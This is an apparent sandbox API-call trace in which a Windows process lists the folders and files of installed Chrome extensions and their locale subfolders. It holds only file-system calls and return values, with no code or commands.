	[0066.271] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State\\MANIFEST-000001" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extension state\\manifest-000001"), fInfoLevelId=0x0, lpFileInformation=0x127b2e18 | out: lpFileInformation=0x127b2e18*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x824ad030, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x824ad030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x824ad030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x29)) returned 1
	[0066.271] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions"), fInfoLevelId=0x0, lpFileInformation=0x127b2e68 | out: lpFileInformation=0x127b2e68*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.271] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.271] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\*", lpFindFileData=0x12415724 | out: lpFindFileData=0x12415724*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.272] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.272] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aapocclcgogkmnckokdopfmhonfmgoek", cAlternateFileName="AAPOCC~1")) returned 1
	[0066.272] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aohghmighlieiainnegkcijnfilokake", cAlternateFileName="AOHGHM~1")) returned 1
	[0066.273] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x819d0bd0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="apdfllckaahabafndbhieahigkjlhalf", cAlternateFileName="APDFLL~1")) returned 1
	[0066.273] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81a42ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="blpcfgokakmgnkcojhhkbfbldkacnbeo", cAlternateFileName="BLPCFG~1")) returned 1
	[0066.273] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x844bb8e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x844c0700, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844c0700, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="felcaaldnbdncclmgdcncolpebgiejap", cAlternateFileName="FELCAA~1")) returned 1
	[0066.273] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x862fc2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86322450, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86322450, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ghbmnnjooekpmoecnnnilnnbdlolhkhi", cAlternateFileName="GHBMNN~1")) returned 1
	[0066.273] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x82ab7660, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x82abeb90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x82abeb90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nmmhkkegccagdldgiimedpiccmgmieda", cAlternateFileName="NMMHKK~1")) returned 1
	[0066.273] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x814d6d00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9174a630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9174a630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pjkljhegncpnkpknbcohdijeoejaedia", cAlternateFileName="PJKLJH~1")) returned 1
	[0066.273] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8399f510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x839a6a40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x839a6a40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkedcjkdefgpdelpbcmbmeomcjbeemfm", cAlternateFileName="PKEDCJ~1")) returned 1
	[0066.273] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415744 | out: lpFindFileData=0x12415744*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.273] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.274] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek"), fInfoLevelId=0x0, lpFileInformation=0x127b31d8 | out: lpFileInformation=0x127b31d8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.275] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.275] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\*", lpFindFileData=0x124156c0 | out: lpFindFileData=0x124156c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.275] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124156e0 | out: lpFindFileData=0x124156e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85cca3f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cf0550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cf0550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.275] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124156e0 | out: lpFindFileData=0x124156e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="0.9_0", cAlternateFileName="")) returned 1
	[0066.275] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x124156e0 | out: lpFindFileData=0x124156e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.275] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.275] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0"), fInfoLevelId=0x0, lpFileInformation=0x127b3278 | out: lpFileInformation=0x127b3278*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.276] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.276] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\*", lpFindFileData=0x1241565c | out: lpFindFileData=0x1241565c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.278] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241567c | out: lpFindFileData=0x1241567c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.278] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241567c | out: lpFindFileData=0x1241567c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_128.png", cAlternateFileName="")) returned 1
	[0066.278] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241567c | out: lpFindFileData=0x1241567c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85cca3f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="icon_16.png", cAlternateFileName="")) returned 1
	[0066.278] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241567c | out: lpFindFileData=0x1241567c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b4d630, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b74730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe4180700, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0x5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.html", cAlternateFileName="MAIN~1.HTM")) returned 1
	[0066.278] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241567c | out: lpFindFileData=0x1241567c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b9b830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xe4180700, ftLastWriteTime.dwHighDateTime=0x1d03f5e, nFileSizeHigh=0x0, nFileSizeLow=0x5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="main.js", cAlternateFileName="")) returned 1
	[0066.278] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241567c | out: lpFindFileData=0x1241567c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b9b830, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2d5, dwReserved0=0x0, dwReserved1=0x0, cFileName="manifest.json", cAlternateFileName="MANIFE~1.JSO")) returned 1
	[0066.278] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241567c | out: lpFindFileData=0x1241567c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_locales", cAlternateFileName="")) returned 1
	[0066.278] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241567c | out: lpFindFileData=0x1241567c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85d166b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_metadata", cAlternateFileName="_METAD~1")) returned 1
	[0066.278] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241567c | out: lpFindFileData=0x1241567c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0066.278] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0066.279] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales"), fInfoLevelId=0x0, lpFileInformation=0x127b34f8 | out: lpFileInformation=0x127b34f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0066.280] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0066.280] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\*", lpFindFileData=0x124155f8 | out: lpFindFileData=0x124155f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85b4d630, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85b4d630, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857953d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857953d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857953d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ar", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
	[0066.282] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415618 | out: lpFindFileData=0x12415618*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x857bb530, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x857bb530, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x857bb530, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
